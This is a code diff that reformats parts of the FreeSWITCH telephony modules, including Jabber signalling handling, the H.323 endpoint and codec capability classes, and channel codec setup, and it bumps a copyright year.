@@ -2398,7 +2401,7 @@ static switch_status_t soft_reload(void)
char *var = (char *) switch_xml_attr_soft(param, "name");
char *val = (char *) switch_xml_attr_soft(param, "value");
if (!profile) {
if (!profile) {
profile = switch_core_alloc(module_pool, sizeof(*profile));
}
@@ -2481,7 +2484,7 @@ static switch_status_t soft_reload(void)
for (hi = switch_hash_first(NULL, name_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, NULL, NULL, &data);
if ((profile = switch_core_hash_find(globals.profile_hash, (char*)data))) {
if ((profile = switch_core_hash_find(globals.profile_hash, (char *) data))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Deleting unused profile %s [%s]\n", profile->name, profile->login);
destroy_profile(profile->name);
}
@@ -2695,7 +2698,8 @@ static void do_vcard(ldl_handle_t *handle, char *to, char *from, char *id)
switch_safe_free(xmlstr);
}
static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject, char *msg)
static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsession, ldl_signal_t dl_signal, char *to, char *from, char *subject,
char *msg)
{
mdl_profile_t *profile = NULL;
switch_core_session_t *session = NULL;
@@ -2730,7 +2734,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
case LDL_SIGNAL_SUBSCRIBE:
if (profile->user_flags & LDL_FLAG_COMPONENT && ldl_jid_domcmp(from, to)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Attempt to add presence from/to our own domain [%s][%s]\n", from, to);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Attempt to add presence from/to our own domain [%s][%s]\n",
from, to);
} else {
switch_mutex_lock(profile->mutex);
if ((sql = switch_mprintf("delete from jabber_subscriptions where sub_from='%q' and sub_to='%q'", from, to))) {
@@ -2839,9 +2844,9 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
switch (dl_signal) {
case LDL_SIGNAL_MSG:{
char *proto = MDL_CHAT_PROTO;
char *pproto = NULL, *ffrom = NULL;
char *hint;
char *proto = MDL_CHAT_PROTO;
char *pproto = NULL, *ffrom = NULL;
char *hint;
#ifdef AUTO_REPLY
if (profile->auto_reply) {
ldl_handle_send_msg(handle,
@@ -2867,8 +2872,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
}
from = ffrom;
}
if (strcasecmp(proto, MDL_CHAT_PROTO)) { /* yes no ! on purpose */
if (strcasecmp(proto, MDL_CHAT_PROTO)) { /* yes no ! on purpose */
switch_core_chat_send(proto, MDL_CHAT_PROTO, from, to, subject, switch_str_nil(msg), NULL, hint);
}
@@ -2920,7 +2925,7 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
status = LDL_STATUS_FALSE;
goto done;
}
} else {
if (dl_signal != LDL_SIGNAL_INITIATE && !msg) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Session is already dead\n");
@@ -3156,7 +3161,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
unsigned int x, y;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%u payloads\n", len);
for (x = 0; x < len; x++) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Available Payload %s %u\n", payloads[x].name, payloads[x].id);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Available Payload %s %u\n", payloads[x].name,
payloads[x].id);
for (y = 0; y < tech_pvt->num_codecs; y++) {
char *name = tech_pvt->codecs[y]->iananame;
@@ -3174,8 +3180,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
if (match && payloads[x].rate == tech_pvt->codecs[y]->samples_per_second) {
tech_pvt->codec_index = y;
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Choosing Payload index %u %s %u\n", y, payloads[x].name,
payloads[x].id);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Choosing Payload index %u %s %u\n", y,
payloads[x].name, payloads[x].id);
tech_pvt->codec_name = tech_pvt->codecs[y]->iananame;
tech_pvt->codec_num = tech_pvt->codecs[y]->ianacode;
tech_pvt->r_codec_num = (switch_payload_t) (payloads[x].id);
@@ -3252,7 +3258,8 @@ static ldl_status handle_signalling(ldl_handle_t *handle, ldl_session_t *dlsessi
lanaddr = strncasecmp(candidates[x].address, profile->lanaddr, strlen(profile->lanaddr)) ? 0 : 1;
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "candidates %s:%d\n", candidates[x].address, candidates[x].port);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "candidates %s:%d\n", candidates[x].address,
candidates[x].port);
// 192.0.0.0 - 192.0.127.255 is marked as reserved, should we filter all of them?
if (!strcasecmp(candidates[x].protocol, "udp") &&
+208 -262
View File
@@ -54,10 +54,10 @@ typedef enum {
} TFLAGS;
struct mod_h323_globals {
int trace_level;
char *codec_string;
char *context;
char *dialplan;
int trace_level;
char *codec_string;
char *context;
char *dialplan;
};
extern struct mod_h323_globals mod_h323_globals;
@@ -67,19 +67,19 @@ class FSH323_ExternalRTPChannel;
typedef struct {
unsigned int flags;
switch_timer_t read_timer;
switch_codec_t read_codec;
switch_codec_t write_codec;
switch_timer_t read_timer;
switch_codec_t read_codec;
switch_codec_t write_codec;
switch_frame_t read_frame;
switch_timer_t vid_read_timer;
switch_codec_t vid_read_codec;
switch_codec_t vid_write_codec;
switch_timer_t vid_read_timer;
switch_codec_t vid_read_codec;
switch_codec_t vid_write_codec;
switch_rtp_t *rtp_session;
switch_mutex_t *flag_mutex;
switch_mutex_t *h323_mutex;
FSH323Connection *me;
FSH323Connection *me;
} h323_private_t;
#define DECLARE_CALLBACK0(name) \
@@ -101,161 +101,142 @@ switch_status_t name(type1 name1)
switch_status_t name(type1 name1, type2 name2, type3 name3)
class FSH323EndPoint;
class FSProcess : public PLibraryProcess {
PCLASSINFO(FSProcess, PLibraryProcess);
class FSProcess:public PLibraryProcess {
PCLASSINFO(FSProcess, PLibraryProcess);
public:
FSProcess();
~FSProcess();
public:
FSProcess();
~FSProcess();
bool Initialise(switch_loadable_module_interface_t *iface);
bool Initialise(switch_loadable_module_interface_t *iface);
FSH323EndPoint & GetH323EndPoint() const { return *m_h323endpoint; }
protected:
FSH323EndPoint * m_h323endpoint;
FSH323EndPoint & GetH323EndPoint() const {
return *m_h323endpoint;
} protected:
FSH323EndPoint * m_h323endpoint;
};
struct FSListener {
FSListener() {
}
PString name;
H323ListenerTCP *listenAddress;
PString localUserName;
PString gatekeeper;
FSListener() {
} PString name;
H323ListenerTCP *listenAddress;
PString localUserName;
PString gatekeeper;
};
class FSGkRegThread;
class FSH323EndPoint:public H323EndPoint {
PCLASSINFO(FSH323EndPoint, H323EndPoint);
public:
FSH323EndPoint();
~FSH323EndPoint();
PCLASSINFO(FSH323EndPoint, H323EndPoint);
public:
FSH323EndPoint();
~FSH323EndPoint();
/**Create a connection that uses the specified call.
*/
virtual H323Connection* CreateConnection(
unsigned callReference,
void* userData,
H323Transport* transport,
H323SignalPDU* setupPDU
);
virtual H323Connection *CreateConnection(unsigned callReference, void *userData, H323Transport * transport, H323SignalPDU * setupPDU);
virtual bool OnSetGatewayPrefixes(PStringList & prefixes) const;
bool Initialise(switch_loadable_module_interface_t *iface);
switch_status_t ReadConfig(int reload);
void StartGkClient(int retry, PString* gkAddress,PString* gkIdentifer,PString* gkInterface);
switch_status_t ReadConfig(int reload);
void StartGkClient(int retry, PString * gkAddress, PString * gkIdentifer, PString * gkInterface);
void StopGkClient();
switch_endpoint_interface_t *GetSwitchInterface() const {
return m_freeswitch;
}
FSH323Connection * FSMakeCall(const PString & dest,void *userData);
list <FSListener> m_listeners;
return m_freeswitch;
} FSH323Connection *FSMakeCall(const PString & dest, void *userData);
list < FSListener > m_listeners;
int m_ai;
int m_pi;
protected:
PStringList m_gkPrefixes;
switch_endpoint_interface_t *m_freeswitch;
PString m_gkAddress;
PString m_gkIdentifer;
PString m_gkInterface;
bool m_faststart;
bool m_h245tunneling;
bool m_h245insetup;
int m_gkretry;
FSGkRegThread* m_thread;
protected:
PStringList m_gkPrefixes;
switch_endpoint_interface_t *m_freeswitch;
PString m_gkAddress;
PString m_gkIdentifer;
PString m_gkInterface;
bool m_faststart;
bool m_h245tunneling;
bool m_h245insetup;
int m_gkretry;
FSGkRegThread *m_thread;
};
class FSGkRegThread : public PThread
{
PCLASSINFO(FSGkRegThread, PThread);
public:
FSGkRegThread(FSH323EndPoint* endpoint, PString* gkAddress, PString* gkIdentifer, PString* gkInterface, int retry = 0)
: PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress),m_gkIdentifer(gkIdentifer),m_gkInterface(gkInterface)
{ }
void Main()
{ m_ep->StartGkClient(m_retry,m_gkAddress,m_gkIdentifer,m_gkInterface); }
protected:
FSH323EndPoint* m_ep;
int m_retry;
PString* m_gkAddress;
PString* m_gkIdentifer;
PString* m_gkInterface;
class FSGkRegThread:public PThread {
PCLASSINFO(FSGkRegThread, PThread);
public:
FSGkRegThread(FSH323EndPoint * endpoint, PString * gkAddress, PString * gkIdentifer, PString * gkInterface, int retry = 0)
: PThread(10000), m_ep(endpoint), m_retry(retry), m_gkAddress(gkAddress), m_gkIdentifer(gkIdentifer), m_gkInterface(gkInterface) {
} void Main() {
m_ep->StartGkClient(m_retry, m_gkAddress, m_gkIdentifer, m_gkInterface);
}
protected:
FSH323EndPoint * m_ep;
int m_retry;
PString *m_gkAddress;
PString *m_gkIdentifer;
PString *m_gkInterface;
};
class FSH323Connection:public H323Connection {
PCLASSINFO(FSH323Connection, H323Connection)
PCLASSINFO(FSH323Connection, H323Connection)
public:
FSH323Connection(FSH323EndPoint& endpoint,
H323Transport* transport,
unsigned callReference,
switch_caller_profile_t *outbound_profile,
switch_core_session_t *fsSession,
switch_channel_t *fsChannel);
FSH323Connection(FSH323EndPoint & endpoint,
H323Transport * transport,
unsigned callReference, switch_caller_profile_t *outbound_profile, switch_core_session_t *fsSession, switch_channel_t *fsChannel);
~FSH323Connection();
~FSH323Connection();
virtual H323Channel* CreateRealTimeLogicalChannel(
const H323Capability& capability,
H323Channel::Directions dir,
unsigned sessionID,
const H245_H2250LogicalChannelParameters* param,
RTP_QOS * rtpqos = NULL
);
virtual PBoolean OnStartLogicalChannel(H323Channel& channel);
virtual PBoolean OnCreateLogicalChannel(const H323Capability& capability, H323Channel::Directions dir, unsigned& errorCode);
virtual bool OnReceivedSignalSetup(const H323SignalPDU & setupPDU);
virtual bool OnReceivedCallProceeding(const H323SignalPDU & pdu);
virtual H323Channel *CreateRealTimeLogicalChannel(const H323Capability & capability,
H323Channel::Directions dir,
unsigned sessionID, const H245_H2250LogicalChannelParameters * param, RTP_QOS * rtpqos = NULL);
virtual PBoolean OnStartLogicalChannel(H323Channel & channel);
virtual PBoolean OnCreateLogicalChannel(const H323Capability & capability, H323Channel::Directions dir, unsigned &errorCode);
virtual bool OnReceivedSignalSetup(const H323SignalPDU & setupPDU);
virtual bool OnReceivedCallProceeding(const H323SignalPDU & pdu);
virtual void OnReceivedReleaseComplete(const H323SignalPDU & pdu);
virtual bool OnReceivedProgress(const H323SignalPDU &);
virtual bool OnReceivedProgress(const H323SignalPDU &);
virtual bool OnSendCallProceeding(H323SignalPDU & callProceedingPDU);
virtual bool OnSendReleaseComplete(H323SignalPDU & pdu);
virtual PBoolean OpenLogicalChannel(const H323Capability& capability, unsigned sessionID, H323Channel::Directions dir);
void setRemoteAddress(const char* remoteIP, WORD remotePort);
virtual PBoolean OpenLogicalChannel(const H323Capability & capability, unsigned sessionID, H323Channel::Directions dir);
void setRemoteAddress(const char *remoteIP, WORD remotePort);
virtual void OnSetLocalCapabilities();
virtual bool OnAlerting(const H323SignalPDU &alertingPDU, const PString &user);
virtual bool OnAlerting(const H323SignalPDU & alertingPDU, const PString & user);
virtual void AnsweringCall(AnswerCallResponse response);
virtual void OnEstablished();
bool SetLocalCapabilities();
static bool decodeCapability(const H323Capability& capability, const char** dataFormat, int* payload = 0, PString* capabName = 0);
virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString& caller,
const H323SignalPDU& signalPDU, H323SignalPDU& connectPDU);
static bool decodeCapability(const H323Capability & capability, const char **dataFormat, int *payload = 0, PString * capabName = 0);
virtual H323Connection::AnswerCallResponse OnAnswerCall(const PString & caller, const H323SignalPDU & signalPDU, H323SignalPDU & connectPDU);
virtual bool OnReceivedCapabilitySet(const H323Capabilities & remoteCaps,
const H245_MultiplexCapability * muxCap,
H245_TerminalCapabilitySetReject & reject);
const H245_MultiplexCapability * muxCap, H245_TerminalCapabilitySetReject & reject);
switch_core_session_t *GetSession() const {
return m_fsSession;
}
virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
return m_fsSession;
} virtual void SendUserInputTone(char tone, unsigned duration = 0, unsigned logicalChannel = 0, unsigned rtpTimestamp = 0);
virtual void OnUserInputTone(char, unsigned, unsigned, unsigned);
virtual void OnUserInputString(const PString &value);
DECLARE_CALLBACK0(on_init);
DECLARE_CALLBACK0(on_routing);
DECLARE_CALLBACK0(on_execute);
virtual void OnUserInputString(const PString & value);
DECLARE_CALLBACK0(on_init);
DECLARE_CALLBACK0(on_routing);
DECLARE_CALLBACK0(on_execute);
DECLARE_CALLBACK0(on_exchange_media);
DECLARE_CALLBACK0(on_soft_execute);
DECLARE_CALLBACK0(on_exchange_media);
DECLARE_CALLBACK0(on_soft_execute);
DECLARE_CALLBACK1(kill_channel, int, sig);
DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
DECLARE_CALLBACK0(state_change);
DECLARE_CALLBACK1(kill_channel, int, sig);
DECLARE_CALLBACK1(send_dtmf, const switch_dtmf_t *, dtmf);
DECLARE_CALLBACK1(receive_message, switch_core_session_message_t *, msg);
DECLARE_CALLBACK1(receive_event, switch_event_t *, event);
DECLARE_CALLBACK0(state_change);
DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
DECLARE_CALLBACK3(read_audio_frame, switch_frame_t **, frame, switch_io_flag_t, flags, int, stream_id);
DECLARE_CALLBACK3(write_audio_frame, switch_frame_t *, frame, switch_io_flag_t, flags, int, stream_id);
DECLARE_CALLBACK3(read_video_frame, switch_frame_t **, frame, switch_io_flag_t, flag, int, stream_id);
DECLARE_CALLBACK3(write_video_frame, switch_frame_t *, frame, switch_io_flag_t, flag, int, stream_id);
bool m_callOnPreAnswer;
bool m_startRTP;
bool m_rxChennel;
@@ -263,44 +244,38 @@ class FSH323Connection:public H323Connection {
bool m_ChennelAnswer;
bool m_ChennelProgress;
PSyncPoint m_rxAudioOpened;
PSyncPoint m_txAudioOpened;
PSyncPoint m_txAudioOpened;
protected:
FSH323EndPoint * m_endpoint;
FSH323EndPoint * m_endpoint;
PString m_remoteAddr;
int m_remotePort;
int m_remotePort;
switch_core_session_t *m_fsSession;
switch_channel_t *m_fsChannel;
PIPSocket::Address m_RTPlocalIP;
switch_channel_t *m_fsChannel;
PIPSocket::Address m_RTPlocalIP;
WORD m_RTPlocalPort;
unsigned char m_buf[SWITCH_RECOMMENDED_BUFFER_SIZE];
};
class FSH323_ExternalRTPChannel : public H323_ExternalRTPChannel{
PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
public:
/* Create a new channel. */
FSH323_ExternalRTPChannel(
FSH323Connection& connection,
const H323Capability& capability,
Directions direction,
unsigned sessionID,
const PIPSocket::Address& ip,
WORD dataPort
);
/* Destructor */
~FSH323_ExternalRTPChannel();
class FSH323_ExternalRTPChannel:public H323_ExternalRTPChannel {
PCLASSINFO(FSH323_ExternalRTPChannel, H323_ExternalRTPChannel);
public:
/* Create a new channel. */
FSH323_ExternalRTPChannel(FSH323Connection & connection,
const H323Capability & capability, Directions direction, unsigned sessionID, const PIPSocket::Address & ip, WORD dataPort);
/* Destructor */
~FSH323_ExternalRTPChannel();
virtual PBoolean Start();
virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters& param);
virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters& param);
virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters& param,unsigned& errorCode);
virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters& param);
virtual PBoolean Start();
virtual PBoolean OnReceivedAckPDU(const H245_H2250LogicalChannelAckParameters & param);
virtual PBoolean OnSendingPDU(H245_H2250LogicalChannelParameters & param);
virtual PBoolean OnReceivedPDU(const H245_H2250LogicalChannelParameters & param, unsigned &errorCode);
virtual void OnSendOpenAck(H245_H2250LogicalChannelAckParameters & param);
private:
FSH323Connection* m_conn;
const H323Capability* m_capability;
private:
FSH323Connection * m_conn;
const H323Capability *m_capability;
switch_core_session_t *m_fsSession;
switch_channel_t *m_fsChannel;
switch_codec_t *m_switchCodec;
@@ -312,124 +287,95 @@ private:
PString m_RTPlocalIP;
WORD m_RTPlocalPort;
BYTE payloadCode;
};
class BaseG7231Capab : public H323AudioCapability
{
PCLASSINFO(BaseG7231Capab, H323AudioCapability);
public:
BaseG7231Capab(const char* fname, bool annexA = true)
: H323AudioCapability(7,4), m_name(fname), m_aa(annexA)
{ }
virtual PObject* Clone() const{
return new BaseG7231Capab(*this);
}
virtual unsigned GetSubType() const{
return H245_AudioCapability::e_g7231;
}
virtual PString GetFormatName() const{
return m_name;
}
virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
return 0;
}
virtual Comparison Compare(const PObject& obj) const{
Comparison res = H323AudioCapability::Compare(obj);
if (res != EqualTo)
return res;
bool aa = static_cast<const BaseG7231Capab&>(obj).m_aa;
if (aa && !m_aa)
return LessThan;
if (m_aa && !aa)
return GreaterThan;
return EqualTo;
}
virtual bool OnSendingPDU(H245_AudioCapability& pdu, unsigned packetSize) const {
pdu.SetTag(GetSubType());
H245_AudioCapability_g7231& g7231 = pdu;
g7231.m_maxAl_sduAudioFrames = packetSize;
g7231.m_silenceSuppression = m_aa;
return true;
}
virtual bool OnReceivedPDU(const H245_AudioCapability& pdu, unsigned& packetSize){
if (pdu.GetTag() != H245_AudioCapability::e_g7231)
class BaseG7231Capab:public H323AudioCapability {
PCLASSINFO(BaseG7231Capab, H323AudioCapability);
public:
BaseG7231Capab(const char *fname, bool annexA = true)
: H323AudioCapability(7, 4), m_name(fname), m_aa(annexA) {
} virtual PObject *Clone() const {
return new BaseG7231Capab(*this);
} virtual unsigned GetSubType() const {
return H245_AudioCapability::e_g7231;
} virtual PString GetFormatName() const {
return m_name;
} virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
return 0;
} virtual Comparison Compare(const PObject & obj) const {
Comparison res = H323AudioCapability::Compare(obj);
if (res != EqualTo)
return res;
bool aa = static_cast < const BaseG7231Capab & >(obj).m_aa;
if (aa && !m_aa)
return LessThan;
if (m_aa && !aa)
return GreaterThan;
return EqualTo;
} virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const {
pdu.SetTag(GetSubType());
H245_AudioCapability_g7231 & g7231 = pdu;
g7231.m_maxAl_sduAudioFrames = packetSize;
g7231.m_silenceSuppression = m_aa;
return true;
} virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned &packetSize) {
if (pdu.GetTag() != H245_AudioCapability::e_g7231)
return false;
const H245_AudioCapability_g7231& g7231 = pdu;
packetSize = g7231.m_maxAl_sduAudioFrames;
m_aa = (g7231.m_silenceSuppression != 0);
return true;
const H245_AudioCapability_g7231 & g7231 = pdu;
packetSize = g7231.m_maxAl_sduAudioFrames;
m_aa = (g7231.m_silenceSuppression != 0);
return true;
}
protected:
const char* m_name;
bool m_aa;
protected:
const char *m_name;
bool m_aa;
};
class BaseG729Capab : public H323AudioCapability
{
PCLASSINFO(BaseG729Capab, H323AudioCapability);
public:
BaseG729Capab(const char* fname, unsigned type = H245_AudioCapability::e_g729)
: H323AudioCapability(24,6), m_name(fname), m_type(type)
{ }
virtual PObject* Clone() const
// default copy constructor - take care!
{ return new BaseG729Capab(*this); }
virtual unsigned GetSubType() const
{ return m_type; }
virtual PString GetFormatName() const
{ return m_name; }
virtual H323Codec* CreateCodec(H323Codec::Direction direction) const
{ return 0; }
protected:
const char* m_name;
unsigned m_type;
class BaseG729Capab:public H323AudioCapability {
PCLASSINFO(BaseG729Capab, H323AudioCapability);
public:
BaseG729Capab(const char *fname, unsigned type = H245_AudioCapability::e_g729)
: H323AudioCapability(24, 6), m_name(fname), m_type(type) {
} virtual PObject *Clone() const
// default copy constructor - take care!
{
return new BaseG729Capab(*this);
} virtual unsigned GetSubType() const {
return m_type;
} virtual PString GetFormatName() const {
return m_name;
} virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
return 0;
} protected:
const char *m_name;
unsigned m_type;
};
class BaseGSM0610Cap : public H323AudioCapability
{
class BaseGSM0610Cap:public H323AudioCapability {
PCLASSINFO(BaseGSM0610Cap, H323AudioCapability);
public:
BaseGSM0610Cap(const char* fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
: H323AudioCapability(24,2), m_name(fname), m_type(type),m_comfortNoise(0),m_scrambled(0)
{ }
virtual PObject * Clone() const{
public:
BaseGSM0610Cap(const char *fname, unsigned type = H245_AudioCapability::e_gsmFullRate)
: H323AudioCapability(24, 2), m_name(fname), m_type(type), m_comfortNoise(0), m_scrambled(0) {
} virtual PObject *Clone() const {
return new BaseGSM0610Cap(*this);
}
virtual H323Codec* CreateCodec(H323Codec::Direction direction) const{
} virtual H323Codec *CreateCodec(H323Codec::Direction direction) const {
return 0;
}
virtual unsigned GetSubType() const{
} virtual unsigned GetSubType() const {
return H245_AudioCapability::e_gsmFullRate;
}
virtual PString GetFormatName() const{
} virtual PString GetFormatName() const {
return m_name;
}
virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const{
} virtual bool OnSendingPDU(H245_AudioCapability & pdu, unsigned packetSize) const {
pdu.SetTag(H245_AudioCapability::e_gsmFullRate);
H245_GSMAudioCapability & gsm = pdu;
gsm.m_audioUnitSize = packetSize * 33;
gsm.m_comfortNoise = m_comfortNoise;
gsm.m_scrambled = m_scrambled;
return true;
}
virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned & packetSize){
} virtual bool OnReceivedPDU(const H245_AudioCapability & pdu, unsigned &packetSize) {
PTRACE(2, "mod_h323\t==============>BaseGSM0610Cap::OnReceivedPDU");
if (pdu.GetTag() != H245_AudioCapability::e_gsmFullRate)
return false;
@@ -440,8 +386,8 @@ public:
return true;
}
protected:
const char* m_name;
protected:
const char *m_name;
int m_comfortNoise;
int m_scrambled;
unsigned m_type;
@@ -458,15 +404,15 @@ H323_REGISTER_CAPABILITY(cls,name) \
DEFINE_H323_CAPAB(FS_G7231_5,BaseG7231Capab,false,OPAL_G7231_5k3"{sw}")
DEFINE_H323_CAPAB(FS_G7231_6,BaseG7231Capab,false,OPAL_G7231_6k3"{sw}")
DEFINE_H323_CAPAB(FS_G7231A_5,BaseG7231Capab,true,OPAL_G7231A_5k3"{sw}")
DEFINE_H323_CAPAB(FS_G7231A_6,BaseG7231Capab,true,OPAL_G7231A_6k3"{sw}")
DEFINE_H323_CAPAB(FS_G729,BaseG729Capab,H245_AudioCapability::e_g729,OPAL_G729"{sw}")
DEFINE_H323_CAPAB(FS_G729A,BaseG729Capab,H245_AudioCapability::e_g729AnnexA,OPAL_G729A"{sw}")
DEFINE_H323_CAPAB(FS_G729B,BaseG729Capab,H245_AudioCapability::e_g729wAnnexB,OPAL_G729B"{sw}")
DEFINE_H323_CAPAB(FS_G729AB,BaseG729Capab,H245_AudioCapability::e_g729AnnexAwAnnexB,OPAL_G729AB"{sw}")
DEFINE_H323_CAPAB(FS_GSM,BaseGSM0610Cap,H245_AudioCapability::e_gsmFullRate,OPAL_GSM0610"{sw}")
DEFINE_H323_CAPAB(FS_G7231_5, BaseG7231Capab, false, OPAL_G7231_5k3 "{sw}")
DEFINE_H323_CAPAB(FS_G7231_6, BaseG7231Capab, false, OPAL_G7231_6k3 "{sw}")
DEFINE_H323_CAPAB(FS_G7231A_5, BaseG7231Capab, true, OPAL_G7231A_5k3 "{sw}")
DEFINE_H323_CAPAB(FS_G7231A_6, BaseG7231Capab, true, OPAL_G7231A_6k3 "{sw}")
DEFINE_H323_CAPAB(FS_G729, BaseG729Capab, H245_AudioCapability::e_g729, OPAL_G729 "{sw}")
DEFINE_H323_CAPAB(FS_G729A, BaseG729Capab, H245_AudioCapability::e_g729AnnexA, OPAL_G729A "{sw}")
DEFINE_H323_CAPAB(FS_G729B, BaseG729Capab, H245_AudioCapability::e_g729wAnnexB, OPAL_G729B "{sw}")
DEFINE_H323_CAPAB(FS_G729AB, BaseG729Capab, H245_AudioCapability::e_g729AnnexAwAnnexB, OPAL_G729AB "{sw}")
DEFINE_H323_CAPAB(FS_GSM, BaseGSM0610Cap, H245_AudioCapability::e_gsmFullRate, OPAL_GSM0610 "{sw}")
static FSProcess *h323_process = NULL;
static FSProcess *h323_process = NULL;
+79 -94
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -97,7 +97,8 @@ static switch_status_t channel_on_exchange_media(switch_core_session_t *session)
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -116,7 +117,7 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
rate = codec->implementation->samples_per_second;
interval = codec->implementation->microseconds_per_packet / 1000;
}
if (switch_core_codec_ready(&tech_pvt->read_codec)) {
switch_core_codec_destroy(&tech_pvt->read_codec);
}
@@ -125,17 +126,13 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
switch_core_codec_destroy(&tech_pvt->write_codec);
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setup codec %s/%d/%d\n", switch_channel_get_name(channel), iananame, rate, interval);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s setup codec %s/%d/%d\n", switch_channel_get_name(channel), iananame, rate,
interval);
status = switch_core_codec_init(&tech_pvt->read_codec,
iananame,
NULL,
rate,
interval,
1,
SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
NULL,
switch_core_session_get_pool(session));
rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
if (status != SWITCH_STATUS_SUCCESS || !tech_pvt->read_codec.implementation || !switch_core_codec_ready(&tech_pvt->read_codec)) {
goto end;
@@ -144,13 +141,8 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
status = switch_core_codec_init(&tech_pvt->write_codec,
iananame,
NULL,
rate,
interval,
1,
SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE,
NULL,
switch_core_session_get_pool(session));
rate, interval, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, switch_core_session_get_pool(session));
if (status != SWITCH_STATUS_SUCCESS) {
switch_core_codec_destroy(&tech_pvt->read_codec);
@@ -160,30 +152,28 @@ static switch_status_t tech_init(private_t *tech_pvt, switch_core_session_t *ses
tech_pvt->read_frame.data = tech_pvt->databuf;
tech_pvt->read_frame.buflen = sizeof(tech_pvt->databuf);
tech_pvt->read_frame.codec = &tech_pvt->read_codec;
tech_pvt->cng_frame.data = tech_pvt->cng_databuf;
tech_pvt->cng_frame.buflen = sizeof(tech_pvt->cng_databuf);
//switch_set_flag((&tech_pvt->cng_frame), SFF_CNG);
tech_pvt->cng_frame.datalen = 2;
tech_pvt->bowout_frame_count = (tech_pvt->read_codec.implementation->actual_samples_per_second /
tech_pvt->read_codec.implementation->samples_per_packet) * 3;
